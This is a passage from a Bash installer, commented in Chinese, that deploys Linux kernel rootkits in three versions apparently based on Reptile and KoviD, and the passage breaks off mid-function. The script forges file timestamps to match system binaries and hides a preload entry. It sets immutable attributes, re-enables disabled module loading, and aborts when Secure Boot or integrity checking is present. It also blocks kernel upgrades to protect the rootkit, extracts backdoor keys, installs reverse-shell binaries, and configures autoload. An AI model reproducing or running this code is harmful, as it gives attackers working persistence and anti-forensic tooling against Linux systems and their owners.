        spoof_file_timestamp "$PRELOAD_FILE" "$fallback_time" || 
            log_warn "Failed to spoof timestamp for $PRELOAD_FILE"
    fi

    # 确保 PRELOAD_MOD 在 PRELOAD_FILE 中
    if ! grep -qF "$PRELOAD_MOD" "$PRELOAD_FILE" 2>/dev/null; then
        # 获取原始时间戳
        local original_time_preload=$(stat -c %y "$PRELOAD_FILE" 2>/dev/null)
        if [ -z "$original_time_preload" ]; then
            log_warn "Failed to get original timestamp for $PRELOAD_FILE"
            if [[ -f /bin/bash ]]; then
                original_time_preload=$(stat -c %y /bin/bash)
            elif [[ -f /bin/sh ]]; then
                original_time_preload=$(stat -c %y /bin/sh)
            else
                original_time_preload=$(date '+%Y-%m-%d %H:%M:%S')
            fi
        fi

        # 添加模块路径
        if ! echo "$PRELOAD_MOD" >> "$PRELOAD_FILE"; then 
            log_error "Failed to append to $PRELOAD_FILE."; 
            return 1; 
        fi
        log_success "Father installed successfully (appended to $PRELOAD_FILE)."
        
        # 恢复时间戳
        spoof_file_timestamp "$PRELOAD_FILE" "$original_time_preload" || 
            log_warn "Failed to restore timestamp for $PRELOAD_FILE"
    else
        log_warn "$PRELOAD_MOD already exists in $PRELOAD_FILE. Skipping installation."
    fi

    # 设置不可变属性
    chattr +ia "$PRELOAD_FILE" 2>/dev/null || 
        log_warn "Failed to apply immutable attribute to $PRELOAD_FILE"

    log_success "Father installation completed."
    return 0
}

initRootkit() {
    log_start "Open the environment to install the rootkit..."

    # Check Secure Boot
    log_info "Checking Secure Boot..."
    if dmesg | grep -q "Secure boot enabled"; then
        log_error "Secure Boot is enabled; exiting the script."
        exit 0
    else
        log_success "Secure Boot is not enabled."
    fi

    # Check if kernel modules are disabled
    log_info "Checking if kernel modules are disabled..."
    if [ -f /proc/sys/kernel/modules_disabled ]; then
        modules_disabled=$(cat /proc/sys/kernel/modules_disabled)
        if [ "$modules_disabled" -eq 1 ]; then
            log_error "Kernel modules are disabled."
            log_info "Attempting to re-enable kernel modules..."
            if echo 0 > /proc/sys/kernel/modules_disabled 2>/dev/null; then
                log_success "Kernel modules re-enabled."
            else
                log_error "Failed to re-enable kernel modules. Exiting."
                exit 1
            fi
        else
            log_success "Kernel modules are enabled."
        fi
    else
        log_warn "File /proc/sys/kernel/modules_disabled not found; skipping check."
    fi

    # Check Kernel Integrity (IMA/EVM)
    log_info "Checking Kernel Integrity (IMA/EVM)..."
    if grep -q "\<ima=\|evm=\>" /proc/cmdline; then
        log_error "Kernel Integrity (IMA/EVM) is enabled; exiting."
        exit 1
    else
        log_success "Kernel Integrity (IMA/EVM) is disabled."
    fi

    # (Optional) Check for kernel headers and build dependencies
    # For Debian/Ubuntu, this might be:
    if [[ "${SYSTEM}" == "debian" || "${SYSTEM}" == "ubuntu" ]]; then
        log_info "Installing build dependencies for kernel modules..."
        if ! apt install -y build-essential libncurses-dev linux-headers-$(uname -r); then
            log_error "Failed to install required packages via apt."
            exit 1
        fi
    elif [[ "${SYSTEM}" =~ ^(redhat|centos|fedora|oraclelinux|rocky)$ ]]; then
        log_info "Verifying required kernel packages..."
        local packages=("kernel-headers-$(uname -r)" "kernel-devel-$(uname -r)")
        for package in "${packages[@]}"; do
            if rpm -q "$package" > /dev/null 2>&1; then
                log_success "$package is installed."
            else
                log_error "$package is not installed."
                while true; do
                    read -p "Continue without installing $package? (y/n): " choice
                    case "$choice" in
                        [Yy]*) break ;;
                        [Nn]*) log_error "Exiting due to missing package $package."; exit 1 ;;
                        *) log_warn "Invalid input. Please enter 'y' or 'n'." ;;
                    esac
                done
            fi
        done
    fi
}

disableKernelUpgrades() {
    log_start "Disabling kernel upgrades..."

    # 保存原始时间戳（用于后续伪装）
    local conf_time=""

    case "${SYSTEM}" in
        debian|ubuntu)
            log_info "Using apt-mark hold for Debian/Ubuntu..."
            if ! command -v apt-mark &>/dev/null; then
                log_error "apt-mark not found. Cannot lock kernel packages."
                return 1
            fi

            # 获取当前内核包列表
            local KERNEL_PACKAGES=""
            KERNEL_PACKAGES=$(dpkg-query -W -f='${binary:Package}\n' 2>/dev/null | grep -E "linux-image|linux-headers" || true)
            if [ -z "$KERNEL_PACKAGES" ]; then
                log_warn "No kernel packages found."
                return 0
            fi

            # 检查是否需要锁定
            local NEEDS_HOLD=false
            local hold_success=true
            local hold_count=0
            local skip_count=0

            for pkg in $KERNEL_PACKAGES; do
                # 跳过空包名
                [ -z "$pkg" ] && continue
                
                local current_hold=""
                current_hold=$(apt-mark showhold 2>/dev/null | grep -w "$pkg" || true)
                if [ -z "$current_hold" ]; then
                    log_info "Holding package: $pkg"
                    if ! apt-mark hold "$pkg" &>/dev/null; then
                        log_error "Failed to hold package: $pkg"
                        hold_success=false
                    else
                        ((hold_count++))
                    fi
                    NEEDS_HOLD=true
                else
                    ((skip_count++))
                fi
            done

            if $NEEDS_HOLD; then
                if $hold_success; then
                    log_success "Locked $hold_count kernel packages. Skipped $skip_count already locked packages."
                else
                    log_warn "Partially locked kernel packages. Some packages failed."
                fi
            else
                log_success "All kernel packages were already locked ($skip_count packages)."
            fi
            ;;

        redhat|centos|fedora|oracle|oraclelinux|rocky|almalinux)
            log_info "Using exclude configuration for yum/dnf..."
            local EXCLUDE_LINE="exclude=kernel* kernel-devel* kernel-headers*"
            
            if [ -f /etc/dnf/dnf.conf ]; then
                # 获取原始时间戳
                conf_time=$(stat -c %y /etc/dnf/dnf.conf 2>/dev/null || true)
                
                if ! grep -q "^$EXCLUDE_LINE" /etc/dnf/dnf.conf; then
                    # 创建临时文件以安全地修改
                    local temp_file=$(mktemp)
                    cat /etc/dnf/dnf.conf > "$temp_file" 2>/dev/null
                    echo "$EXCLUDE_LINE" >> "$temp_file"
                    
                    # 原子方式替换文件
                    if cat "$temp_file" > /etc/dnf/dnf.conf; then
                        rm -f "$temp_file"
                        if [ -n "$conf_time" ]; then
                            spoof_file_timestamp "/etc/dnf/dnf.conf" "$conf_time" || 
                                log_warn "Failed to restore timestamp on /etc/dnf/dnf.conf"
                        fi
                        log_success "Kernel packages excluded from DNF updates."
                    else
                        rm -f "$temp_file"
                        log_error "Failed to update /etc/dnf/dnf.conf"
                        return 1
                    fi
                else
                    log_success "Kernel packages already excluded from DNF updates."
                fi
            elif [ -f /etc/yum.conf ]; then
                # 获取原始时间戳
                conf_time=$(stat -c %y /etc/yum.conf 2>/dev/null || true)
                
                if ! grep -q "^$EXCLUDE_LINE" /etc/yum.conf; then
                    # 创建临时文件以安全地修改
                    local temp_file=$(mktemp)
                    cat /etc/yum.conf > "$temp_file" 2>/dev/null
                    echo "$EXCLUDE_LINE" >> "$temp_file"
                    
                    # 原子方式替换文件
                    if cat "$temp_file" > /etc/yum.conf; then
                        rm -f "$temp_file"
                        if [ -n "$conf_time" ]; then
                            spoof_file_timestamp "/etc/yum.conf" "$conf_time" || 
                                log_warn "Failed to restore timestamp on /etc/yum.conf"
                        fi
                        log_success "Kernel packages excluded from YUM updates."
                    else
                        rm -f "$temp_file"
                        log_error "Failed to update /etc/yum.conf"
                        return 1
                    fi
                else
                    log_success "Kernel packages already excluded from YUM updates."
                fi
            else
                log_error "DNF/YUM configuration file not found. Skipping kernel upgrade restriction."
                return 1
            fi
            ;;

        suse|opensuse|sles)
            log_info "Using zypper addlock on openSUSE/SLES..."
            if ! command -v zypper &>/dev/null; then
                log_error "zypper command not found. Cannot lock kernel packages."
                return 1
            fi
            
            local lock_count=0
            local skip_count=0
            local fail_count=0
            
            for pkg in kernel-default kernel-headers kernel-devel kernel-source; do
                # 检查锁状态并处理可能的错误
                if ! zypper ll 2>/dev/null | grep -qE "lock.*${pkg}"; then
                    log_info "Locking package: $pkg"
                    if ! zypper addlock "$pkg" > /dev/null 2>&1; then
                        log_warn "Failed to lock package: $pkg"
                        ((fail_count++))
                    else
                        ((lock_count++))
                    fi
                else
                    log_info "Package $pkg is already locked."
                    ((skip_count++))
                fi
            done
            
            if [ $lock_count -gt 0 ]; then
                log_success "Kernel packages: $lock_count locked, $skip_count already locked, $fail_count failed."
            elif [ $skip_count -gt 0 ]; then
                log_success "All needed kernel packages were already locked ($skip_count packages)."
            else
                log_warn "No kernel packages could be locked. $fail_count operations failed."
            fi
            ;;

        arch)
            log_info "Using IgnorePkg in pacman.conf on Arch Linux..."
            local PACMAN_CONF="/etc/pacman.conf"
            
            if [ ! -f "$PACMAN_CONF" ]; then
                log_error "/etc/pacman.conf not found. Cannot modify pacman config."
                return 1
            fi
            
            # 获取原始时间戳
            conf_time=$(stat -c %y "$PACMAN_CONF" 2>/dev/null || true)
            
            if ! grep -Eq "^\s*IgnorePkg\s*=\s*.*\blinux\b" "$PACMAN_CONF"; then
                # 创建临时文件以安全地修改
                local temp_file=$(mktemp)
                
                # 检查IgnorePkg行是否存在但不包含linux
                if grep -q "^\s*IgnorePkg\s*=" "$PACMAN_CONF"; then
                    # 修改现有IgnorePkg行
                    sed 's/^\(\s*IgnorePkg\s*=\s*.*\)/\1 linux linux-headers/' "$PACMAN_CONF" > "$temp_file"
                else
                    # 添加新的IgnorePkg行
                    sed '/^\[options\]/a IgnorePkg = linux linux-headers' "$PACMAN_CONF" > "$temp_file"
                fi
                
                # 检查修改是否成功
                if [ $? -eq 0 ] && [ -s "$temp_file" ]; then
                    # 原子方式替换文件
                    if cat "$temp_file" > "$PACMAN_CONF"; then
                        # 恢复原始时间戳
                        if [ -n "$conf_time" ]; then
                            spoof_file_timestamp "$PACMAN_CONF" "$conf_time" || 
                                log_warn "Failed to restore timestamp on $PACMAN_CONF"
                        fi
                        log_success "Kernel packages ignored in pacman."
                    else
                        log_error "Failed to update $PACMAN_CONF."
                    fi
                else
                    log_error "Failed to modify $PACMAN_CONF."
                fi
                
                # 清理临时文件
                rm -f "$temp_file" 2>/dev/null || true
            else
                log_success "Kernel packages already in IgnorePkg."
            fi
            ;;

        *)
            log_error "Unsupported or unrecognized Linux distribution: ${SYSTEM}"
            return 1
            ;;
    esac

    log_success "Kernel upgrade restriction completed."
    return 0
}

installRootkit() {
    case "$ARCH" in
        i386|i686)
            log_warn "Skipping rootkit installation for $ARCH architecture..."
            return 0
            ;;
    esac
	
    # 根据ROOTKIT_INSTALLED标志决定是否安装Rootkit
    if [ "$ROOTKIT_INSTALLED" == "yes" ]; then
        log_start "Starting Install Rootkit..."
        log_info "Select which Rootkit version to install:"
        log_success "KERNEL VERSION: $KERNEL_VERSION"
        echo -e "${YELLOW}1. Rootkit Ver1.0 (Support < 4.19)${NC}"
        echo -e "${YELLOW}2. Rootkit Ver2.0 (Support 4.18 - 5.15) (UNSTABLE!)${NC}"
        echo -e "${YELLOW}3. Rootkit Ver3.0 (Support 5.x - 6.9) (Ubuntu < 24.10)${NC}"
        read -p "Enter your choice (1, 2 or 3): " Rootkit_choice

        # 根据用户选择安装特定版本的Rootkit
        case "$Rootkit_choice" in
            1)
                RKNAME="Rootkit Ver1.0"
                log_success "You selected Rootkit Ver1.0."
                RootkitInstallVer1 || { log_error "Rootkit Ver1.0 installation failed"; return 1; }
                ;;
            2)
                RKNAME="Rootkit Ver2.0"
                log_success "You selected Rootkit Ver2.0."
                RootkitInstallVer2 || { log_error "Rootkit Ver2.0 installation failed"; return 1; }
                ;;
            3)
                RKNAME="Rootkit Ver3.0"
                log_success "You selected Rootkit Ver3.0."
                RootkitInstallVer3 || { log_error "Rootkit Ver3.0 installation failed"; return 1; }
                ;;
            *)
                log_error "Invalid choice. Exiting."
                return 1
                ;;
        esac
        
        # 设置脚本变量保存选择的Rootkit版本
        ROOTKIT_VERSION="$Rootkit_choice"
        return 0
    fi
    
    log_info "Rootkit installation skipped based on user selection."
    return 0
}

RootkitInstallVer1() {
	log_start "Starting ROOTKIT Ver1.0 installation..."

    # 检查内核版本兼容性
    if [[ "$MAJOR" -ge 1 && ( "$MAJOR" -lt 4 || ( "$MAJOR" -eq 4 && "$MINOR" -lt 19 ) ) ]]; then
        log_success "Kernel version is compatible. Proceeding with ROOTKIT Ver1.0 installation."
    else
        log_error "Kernel version is not compatible (must be between 1.0 and 4.19). Skipping ROOTKIT Ver1.0 installation."
        return 1
    fi

    # 进入对应目录并备份当前目录
    local current_dir="$(pwd)"
    log_info "Entering ROOTKIT Ver1.0 directory..."
    if ! pushd ROOTKIT1 > /dev/null; then
        log_error "Unable to enter ROOTKIT Ver1.0 directory. Exiting."
        return 1
    fi

    # 生成配置文件
    configGen_Ver1 || { 
        log_error "Failed to generate configuration for Rootkit Ver1.0"; 
        popd > /dev/null; 
        return 1; 
    }

    # 编译Rootkit
    log_info "Compiling ROOTKIT Ver1.0..."
    if make all > /dev/null 2>&1 && make clean > /dev/null 2>&1 && mv bin/reptile "bin/${MODULE}.ko" > /dev/null 2>&1; then
        log_success "Compilation completed successfully."
    else
        log_error "Compilation failed for ROOTKIT Ver1.0."
        popd > /dev/null
        return 1
    fi

    # 创建目标目录并复制文件
    log_info "Copying files to /${MODULE}..."
    if ! mkdir -p "/${MODULE}" 2>/dev/null; then
        log_error "Failed to create directory /${MODULE}"
        popd > /dev/null
        return 1
    fi
    
    # 使用变量跟踪复制状态
    local copy_success=true
    
    # 复制各种组件文件
    for file in "bin/${MODULE}"* "bin/reverse" "bin/cmd" "scripts/start" "scripts/bashrc"; do
        local target=""
        case "$(basename "$file")" in
            reverse) target="/${MODULE}/${MODULE}_reverses8D2" ;;
            cmd) target="/${MODULE}/${MODULE}_cmd9o2E" ;;
            start) target="/${MODULE}/${MODULE}_start0K33" ;;
            bashrc) target="/${MODULE}/${MODULE}_rc96e3" ;;
            *) target="/${MODULE}/$(basename "$file")" ;;
        esac
        
        if ! cp "$file" "$target" 2>/dev/null; then
            log_error "Failed to copy $file to $target"
            copy_success=false
        fi
    done
    
    if [ "$copy_success" = false ]; then
        log_error "Error copying files to /${MODULE}."
        popd > /dev/null
        return 1
    fi
    
    # 设置文件权限
    chmod 777 "/${MODULE}"/* 2>/dev/null || {
        log_error "Failed to set permissions for /${MODULE}/*"
        popd > /dev/null
        return 1
    }
    
    # 应用时间戳伪装
    log_info "Applying timestamp spoofing to installed files..."
    local base_time=""
    if [[ -f /bin/bash ]]; then
        base_time=$(stat -c %y /bin/bash)
    elif [[ -f /sbin/sh ]]; then
        base_time=$(stat -c %y /sbin/sh)
    else
        base_time=$(date '+%Y-%m-%d %H:%M:%S')
        log_warn "Fallback to current time as base_time: $base_time"
    fi

    if [[ -n "$base_time" ]]; then
        for f in "/${MODULE}"/*; do
            [[ -f "$f" ]] && spoof_file_timestamp "$f" "$base_time"
        done
    else
        log_warn "base_time is empty. Skipping timestamp spoofing for /${MODULE} files."
    fi

    # 删除不需要的文件
    rm -f scripts/start 2>/dev/null || log_warn "Failed to remove scripts/start"

    # 部署模块到内核目录
    log_info "Deploying module to $DRIVER_DIRECTORY..."
    
    # 确保模块目录存在
    if [ ! -d "$DRIVER_DIRECTORY" ]; then
        if ! mkdir -p "$DRIVER_DIRECTORY"; then
            log_error "Failed to create directory $DRIVER_DIRECTORY"
            popd > /dev/null
            return 1
        fi
    fi
    
    # 检查并移除已存在的模块
    if [ -f "$DRIVER_DIRECTORY/${MODULE}.ko" ]; then
        log_warn "Existing module found in $DRIVER_DIRECTORY. Removing..."
        chattr -ia "$DRIVER_DIRECTORY/${MODULE}.ko" 2>/dev/null || true
        if ! rm -f "$DRIVER_DIRECTORY/${MODULE}.ko"; then
            log_error "Error deleting existing module from $DRIVER_DIRECTORY."
            popd > /dev/null
            return 1
        fi
    fi

    # 复制模块到目标目录
    if ! cp "bin/${MODULE}.ko" "$DRIVER_DIRECTORY"; then
        log_error "Error copying module to $DRIVER_DIRECTORY."
        popd > /dev/null
        return 1
    fi
    
    log_info "Module copied to $DRIVER_DIRECTORY"

    # 设置模块的时间戳
    local dir_base_time=""
    if get_base_time "$DRIVER_DIRECTORY"; then
        dir_base_time="$base_time"
        spoof_file_timestamp "$DRIVER_DIRECTORY/${MODULE}.ko" "$dir_base_time" || 
            log_warn "Failed to spoof timestamp for $DRIVER_DIRECTORY/${MODULE}.ko"
    else
        log_warn "Skipping timestamp spoofing for $DRIVER_DIRECTORY/${MODULE}.ko"
    fi

    # 清理编译文件
    rm -rf bin 2>/dev/null || log_warn "Failed to clean up bin directory"
    make clean > /dev/null 2>&1 || log_warn "Failed to run make clean"
    
    # 返回原目录
    popd > /dev/null

    # 禁用内核升级以保护rootkit
    disableKernelUpgrades || log_warn "Failed to disable kernel upgrades."

    # 设置脚本变量表示当前安装的Rootkit版本
    RTVER=1
    log_success "Rootkit Ver1.0 installation completed successfully."
    return 0
}

RootkitInstallVer2() {
	log_start "Starting ROOTKIT Ver2.0 installation..."
	
    # 检查内核版本兼容性
    if [[ ( "$MAJOR" -eq 4 && "$MINOR" -ge 18 ) || ( "$MAJOR" -eq 5 && "$MINOR" -lt 15 ) ]]; then
        log_success "Kernel version ($KERNEL_VERSION) is compatible. Proceeding with ROOTKIT Ver2.0 installation."
    else
        log_error "Kernel version ($KERNEL_VERSION) is not compatible (must be between 4.18 and 5.15). Skipping ROOTKIT Ver2.0 installation."
        return 1
    fi

    # 进入对应目录并备份当前目录
    log_info "Entering ROOTKIT Ver2.0 directory..."
    if ! pushd ROOTKIT2 > /dev/null; then
        log_error "Unable to enter ROOTKIT Ver2.0 directory. Exiting."
        return 1
    fi

    # 重命名文件（如果存在）
    if [ -f "src/kov1d.c" ]; then
        if ! mv "src/kov1d.c" "src/kovid.c" 2>/dev/null; then
            log_error "Failed to rename 'src/kov1d.c'. Exiting."
            popd > /dev/null
            return 1
        fi
        log_success "Renamed 'src/kov1d.c' to 'src/kovid.c'."
    elif [ ! -f "src/kovid.c" ]; then
        log_error "Neither src/kov1d.c nor src/kovid.c exists. Exiting."
        popd > /dev/null
        return 1
    fi

    # 编译Rootkit
    log_info "Compiling ROOTKIT Ver2.0..."
    make clean > /dev/null 2>&1
    local make_output
    make_output=$(make PROCNAME="$MODULE" DEPLOY=1 2>&1)
    if [[ $? -eq 0 ]]; then
        # 从编译输出中提取密钥信息
        local backdoor_key=$(echo "$make_output" | grep "Backdoor KEY" | sed -E 's/.*Backdoor KEY: \\033\[1;37m([a-f0-9]+)\\033\[0m/\1/')
        local unhide_key=$(echo "$make_output" | grep "LKM unhide KEY" | sed -E 's/.*LKM unhide KEY: \\033\[1;37m([a-f0-9]+)\\033\[0m/\1/')
        
        if [[ -n "$backdoor_key" && -n "$unhide_key" ]]; then
            log_success "Compilation successful."
            log_info "Backdoor KEY: $backdoor_key"
            log_info "LKM unhide KEY: $unhide_key"
            
            # 保存键值为脚本级变量以便于后续使用
            RK2_BACKDOOR_KEY="$backdoor_key"
            RK2_UNHIDE_KEY="$unhide_key"
        else
            log_error "Failed to extract keys from make output."
            popd > /dev/null
            return 1
        fi
    else
        log_error "Compilation failed for ROOTKIT Ver2.0."
        echo "$make_output"
        popd > /dev/null
        return 1
    fi

    # 重命名模块文件
    if [[ -f kovid.ko ]]; then
        if ! mv kovid.ko "$MODULE.ko" > /dev/null 2>&1; then
            log_error "Failed to rename module file."
            popd > /dev/null
            return 1
        fi
        log_success "Module renamed to ${MODULE}.ko."
    else
        log_error "Module 'kovid.ko' not found after compilation."
        popd > /dev/null
        return 1
    fi

    # 部署模块到内核目录
    log_info "Deploying module to $DRIVER_DIRECTORY..."
    
    # 确保模块目录存在
    if [ ! -d "$DRIVER_DIRECTORY" ]; then
        if ! mkdir -p "$DRIVER_DIRECTORY"; then
            log_error "Failed to create directory $DRIVER_DIRECTORY"
            popd > /dev/null
            return 1
        fi
    fi
    
    # 检查并移除已存在的模块
    if [ -f "$DRIVER_DIRECTORY/${MODULE}.ko" ]; then
        log_warn "Existing module found in $DRIVER_DIRECTORY. Removing..."
        chattr -ia "$DRIVER_DIRECTORY/${MODULE}.ko" 2>/dev/null || true
        if ! rm -f "$DRIVER_DIRECTORY/${MODULE}.ko"; then
            log_error "Error deleting existing module from $DRIVER_DIRECTORY."
            popd > /dev/null
            return 1
        fi
    fi

    # 复制模块到目标目录
    if ! cp "$MODULE.ko" "$DRIVER_DIRECTORY"; then
        log_error "Error copying module to $DRIVER_DIRECTORY."
        popd > /dev/null
        return 1
    fi
    
    log_success "Module copied to $DRIVER_DIRECTORY"

    # 应用时间戳伪装
    local base_time=""
    if [[ -f /bin/bash ]]; then
        base_time=$(stat -c %y /bin/bash)
    elif [[ -f /sbin/sh ]]; then
        base_time=$(stat -c %y /sbin/sh)
    else
        base_time=$(date '+%Y-%m-%d %H:%M:%S')
        log_warn "Fallback to current time as base_time: $base_time"
    fi

    if [[ -n "$base_time" ]]; then
        spoof_file_timestamp "$DRIVER_DIRECTORY/${MODULE}.ko" "$base_time" || 
            log_warn "Failed to spoof timestamp for $DRIVER_DIRECTORY/${MODULE}.ko"
    else
        log_warn "base_time is empty. Skipping timestamp spoofing for $DRIVER_DIRECTORY/${MODULE}.ko."
    fi
            
    # 清理编译文件并返回原目录
    make clean > /dev/null 2>&1 || log_warn "Failed to run make clean"
    popd > /dev/null

    # 禁用内核升级以保护rootkit
    disableKernelUpgrades || log_warn "Failed to disable kernel upgrades."
    
    # 设置脚本变量表示当前安装的Rootkit版本
    RTVER=2
    log_success "Rootkit Ver2.0 installation completed successfully."
    return 0
}

RootkitInstallVer3() {
	log_start "Starting ROOTKIT Ver3.0 installation..."
	
    # 检查是否是Ubuntu，如果是，检查版本是否支持
    if command -v lsb_release &>/dev/null; then
        local ubuntu_version=$(lsb_release -rs)
        if [[ $(echo "$ubuntu_version >= 24.10" | bc) -eq 1 ]]; then
            log_error "Ubuntu version $ubuntu_version is not supported. Skipping ROOTKIT Ver3.0 installation."
            return 1
        fi
    fi

    # 检查内核版本兼容性
    if [[ "$MAJOR" -eq 5 || ( "$MAJOR" -eq 6 && "$MINOR" -lt 9 ) ]]; then
        log_success "Kernel version ($KERNEL_VERSION) is compatible (5.x - 6.x). Proceeding with ROOTKIT Ver3.0 installation."
    else
        log_error "Kernel version ($KERNEL_VERSION) is not compatible (must be 5.x or 6.x). Skipping installation."
        return 1
    fi

    # 进入对应目录
    log_info "Entering ROOTKIT Ver3.0 directory..."
    if ! pushd ROOTKIT3 > /dev/null; then
        log_error "Unable to enter ROOTKIT Ver3.0 directory. Exiting."
        return 1
    fi

    # 检查并修改配置文件
    log_info "Configuring ROOTKIT Ver3.0..."
    local file="includes/bds_vars.h"
    if [ ! -f "${file}" ]; then
        log_error "Error: ${file} does not exist. Exiting."
        popd > /dev/null
        return 1
    fi

    if [ -z "$MODULE" ]; then
        log_error "Error: MODULE variable is not set. Exiting."
        popd > /dev/null
        return 1
    fi

    # 修改变量设置MODULE值
    if ! sed -i "s/bangkokviews/$MODULE/g" "${file}"; then
        log_error "Failed to set PREFIX. Exiting."
        popd > /dev/null
        return 1
    fi
    log_success "PREFIX set successfully."

    # 编译Rootkit
    log_info "Compiling ROOTKIT Ver3.0..."
    local make_output
    make_output=$(make 2>&1)
    if [ $? -eq 0 ]; then
        log_success "Compilation successful."
    else
        log_error "ERROR during compilation of ROOTKIT Ver3.0."
        echo "$make_output"
        popd > /dev/null
        return 1
    fi

    # 清理构建临时文件
    rm -f *.o mod* Mod* *.mo* .bds* .c* .M* .m* .tmp* > /dev/null 2>&1

    # 重命名模块文件
    if [ -f bds_lkm_ftrace.ko ]; then
        if ! mv bds_lkm_ftrace.ko "$MODULE.ko" > /dev/null 2>&1; then
            log_error "Failed to rename module file."
            popd > /dev/null
            return 1
        fi
        log_success "Module renamed to $MODULE.ko."
    else
        log_error "Module bds_lkm_ftrace.ko not found after compilation."
        popd > /dev/null
        return 1
    fi

    # 部署模块到内核目录
    log_info "Deploying module to $DRIVER_DIRECTORY..."
    
    # 确保目录存在
    if [ ! -d "$DRIVER_DIRECTORY" ]; then
        if ! mkdir -p "$DRIVER_DIRECTORY"; then
            log_error "Failed to create directory $DRIVER_DIRECTORY"
            popd > /dev/null
            return 1
        fi
    fi
    
    # 检查并删除已存在的模块
    if [ -f "$DRIVER_DIRECTORY/$MODULE.ko" ]; then
        log_warn "Existing module found in $DRIVER_DIRECTORY. Deleting..."
        chattr -ia "$DRIVER_DIRECTORY/$MODULE.ko" 2>/dev/null || true
        if ! rm -f "$DRIVER_DIRECTORY/$MODULE.ko"; then
            log_error "Error deleting existing module from $DRIVER_DIRECTORY."
            popd > /dev/null
            return 1
        fi
    fi

    # 复制模块到目标目录
    if ! cp "$MODULE.ko" "$DRIVER_DIRECTORY"; then
        log_error "Error copying module to $DRIVER_DIRECTORY."
        popd > /dev/null
        return 1
    fi
    
    log_success "Module copied to $DRIVER_DIRECTORY"

    # 设置时间戳
    log_info "Applying timestamp spoofing..."
    local base_time=""
    if [[ -f /bin/bash ]]; then
        base_time=$(stat -c %y /bin/bash)
    elif [[ -f /sbin/sh ]]; then
        base_time=$(stat -c %y /sbin/sh)
    else
        base_time=$(date '+%Y-%m-%d %H:%M:%S')
        log_warn "Fallback to current time as base_time: $base_time"
    fi

    if [[ -n "$base_time" ]]; then
        spoof_file_timestamp "$DRIVER_DIRECTORY/${MODULE}.ko" "$base_time" || 
            log_warn "Failed to spoof timestamp for $DRIVER_DIRECTORY/${MODULE}.ko"
    else
        log_warn "base_time is empty. Skipping timestamp spoofing for $DRIVER_DIRECTORY/${MODULE}.ko files."
    fi
    
    # 清理编译文件并返回原目录
    make clean > /dev/null 2>&1 || log_warn "Failed to run make clean"
    popd > /dev/null

    # 禁用内核升级以保护rootkit
    disableKernelUpgrades || log_warn "Failed to disable kernel upgrades."
    
    # 设置脚本变量表示当前安装的Rootkit版本
    RTVER=3
    log_success "Rootkit Ver3.0 installation completed successfully."
    return 0
}

loadRootkit() {
	log_start "Installing rootkit autostart..."

    case "$ARCH" in
        i386|i686)
            log_warn "Skipping Rootkit autostart installation for $ARCH architecture..."
            return 0
            ;;
    esac
	
	if [ "$ROOTKIT_INSTALLED" == "yes" ]; then
	
		# Check essential variables
		if [ -z "${MODULE:-}" ]; then
			log_error "MODULE variable is not set!"
			return 1
		fi
		
		# Clean previous ROOTKIT files
		log_info "Cleaning up previous ROOTKIT files..."
		rm -rf ROOTKIT1/bin >/dev/null 2>&1 || log_warn "Failed to remove ROOTKIT1/bin (may not exist)."
		rm -rf "ROOTKIT2/${MODULE}.ko" >/dev/null 2>&1 || log_warn "Failed to remove ROOTKIT2/${MODULE}.ko."
		rm -rf "ROOTKIT3/${MODULE}.ko" >/dev/null 2>&1 || log_warn "Failed to remove ROOTKIT3/${MODULE}.ko."

		# lock driver module file if exists
		if [ -f "$DRIVER_DIRECTORY/${MODULE}.ko" ]; then
			log_info "Locking driver module file..."
			if ! chattr +ia "$DRIVER_DIRECTORY/${MODULE}.ko" 2>/dev/null; then
				log_warn "Unable to modify attributes of $DRIVER_DIRECTORY/${MODULE}.ko (chattr may not be supported)."
			else
				log_success "Module file locked successfully."
			fi
		else
			log_info "Module file not found in $DRIVER_DIRECTORY, skipping lock."
		fi

		# Rename file in ROOTKIT2 directory
		if [ -f "ROOTKIT2/src/kovid.c" ]; then
			log_info "Renaming file: ROOTKIT2/src/kovid.c -> ROOTKIT2/src/kov1d.c..."
			if ! mv "ROOTKIT2/src/kovid.c" "ROOTKIT2/src/kov1d.c" 2>/dev/null; then
				log_warn "Failed to rename file in ROOTKIT2 directory."
			else
				log_success "File renamed successfully."
			fi
		fi

		# Send PIPE signal to dmesg - ensuring it doesn't fail if dmesg isn't running
		log_info "Sending PIPE signal to dmesg..."
		DMESG_PID=$(pgrep dmesg 2>/dev/null)
		if [ -n "$DMESG_PID" ]; then
			kill -PIPE "$DMESG_PID" 2>/dev/null || log_warn "Failed to send PIPE signal to dmesg."
		else
			log_info "dmesg process not found, skipping signal."
		fi
		
		# Prepare module loader
		log_info "Preparing ModuleLoader..."
		
		# Build and verify ModuleLoader
		if ! type ModuleLoader >/dev/null 2>&1; then
			log_error "ModuleLoader function not found. Ensure it's properly defined."
			return 1
		fi
		
		if ! ModuleLoader; then
			log_error "ModuleLoader function execution failed."
			return 1
		fi
		
		# Find or install loader executable
		MODULE_LOADER_PATH="/${MODULE}/${MODULE}Loader"
		if [ ! -x "$MODULE_LOADER_PATH" ]; then
			log_info "ModuleLoader not found at $MODULE_LOADER_PATH, checking current directory..."
			if [ -x "./${MODULE}Loader" ]; then
				log_info "Found ModuleLoader in current directory, installing to system path..."
				mkdir -p "/${MODULE}" 2>/dev/null || {
					log_error "Failed to create /${MODULE} directory."
					return 1
				}
				cp "./${MODULE}Loader" "$MODULE_LOADER_PATH" 2>/dev/null || {
					log_error "Failed to copy ModuleLoader."
					return 1
				}
				chmod +x "$MODULE_LOADER_PATH" 2>/dev/null
				log_success "ModuleLoader installed successfully."
			else
				log_warn "ModuleLoader not found in current directory, proceeding without it."
			fi
		fi

		# Configure module autoload - systemd-based distros first
		log_info "Configuring module autoload for all init systems..."
		configure_module_autoload || {
			log_error "Failed to configure module autoload."
			return 1
		}

		# Refresh kernel module dependencies
		log_info "Refreshing kernel module dependencies..."
		sync  # Ensure filesystem changes are written
		sleep 2
		
		if command -v depmod >/dev/null 2>&1; then
			if depmod -a 2>/dev/null; then
				log_success "Kernel module dependencies refreshed."
			else
				log_warn "Failed to refresh kernel module dependencies, continuing anyway."
			fi
		else
			log_warn "depmod command not found, skipping module dependency refresh."
		fi

		# Try to load the module now using multiple methods
		# This is the updated loading logic flow
		log_info "Attempting to load kernel module using multiple methods..."
		MODULE_LOADED=false
		
		# Method 1: Try ModuleLoader (highest priority)
		if [ -x "$MODULE_LOADER_PATH" ] && [ -f "$DRIVER_DIRECTORY/${MODULE}.ko" ]; then
			log_info "Attempting to load module with ModuleLoader..."
			if "$MODULE_LOADER_PATH" "$DRIVER_DIRECTORY/${MODULE}.ko" 2>/dev/null; then
